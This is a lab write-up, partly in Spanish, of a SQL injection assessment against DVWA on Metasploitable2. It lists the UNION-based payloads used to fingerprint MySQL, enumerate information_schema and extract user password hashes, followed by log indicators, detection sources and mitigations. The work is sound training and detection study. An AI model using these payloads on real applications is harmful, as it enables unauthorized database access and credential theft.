

DVWA SQL Injection Assessment — Final Security Report

Blue Team / SOC Analyst / AppSec Portfolio Lab — Tomas Guastavino

Executive Summary

Assessment práctico sobre DVWA en Metasploitable2. Se confirmó una vulnerabilidad SQL Injection crítica permitiendo manipulación de consultas SQL, fingerprinting del backend MySQL, enumeración de schemas/tablas/columnas y extracción controlada de credenciales.

Attack Chain

1. Vulnerability Validation
2. Database Fingerprinting
3. Schema Enumeration
4. Column Discovery
5. Credential Extraction
6. Defensive Analysis

Technical Findings

Backend identificado: MySQL 5.0.51a

Database activa: dvwa

Tablas relevantes descubiertas: dvwa.users, dvwa.guestbook, mysql.user, owasp10.credit_cards

Columnas relevantes: user, password, first_name, last_name, avatar

Commands Used (Core Payloads)

`1' OR '1'='1`

→ Validación inicial de SQL Injection.

`1' UNION SELECT version(),database()#`

→ Fingerprinting del DBMS y database activa.

`1' UNION SELECT table_name,table_schema FROM information_schema.tables#`

→ Enumeración de tablas y schemas.

`1' UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name='users'#`

→ Descubrimiento de columnas.

`1' UNION SELECT user,password FROM users#`

→ Extracción controlada de hashes.

Blue Team / Detection Perspective

Indicadores observables en logs:

- UNION SELECT
- OR '1'='1
- information_schema
- version()

Fuentes de detección:

- Apache access.log
- Web Application Firewall (WAF)
- SIEM correlation rules
- Database audit logs

Risk Matrix

- SQL Injection — **Critical**
- Credential Exposure — **Critical**
- Database Enumeration — **High**
- Authentication Compromise — **High**

Lessons Learned

Conceptos técnicos reforzados:

- Funcionamiento interno de SQL Injection.
- Uso de UNION SELECT para combinar consultas.
- Importancia de information_schema para enumeración manual.
- Diferencia entre fingerprinting, enumeration y data extraction.
- Relación entre AppSec y Blue Team detection engineering.

Palabras clave aprendidas:

SQL Injection, UNION SELECT, Metadata Enumeration, MySQL Fingerprinting, Prepared Statements, Parameterized Queries, Least Privilege, Web Logs, SIEM Detection, WAF Rules, Credential Exposure, Application Security.

Mitigaciones comprendidas:

- Prepared Statements.
- Input Validation.
- Principle of Least Privilege.
- Centralized Logging.
- SQL anomaly monitoring.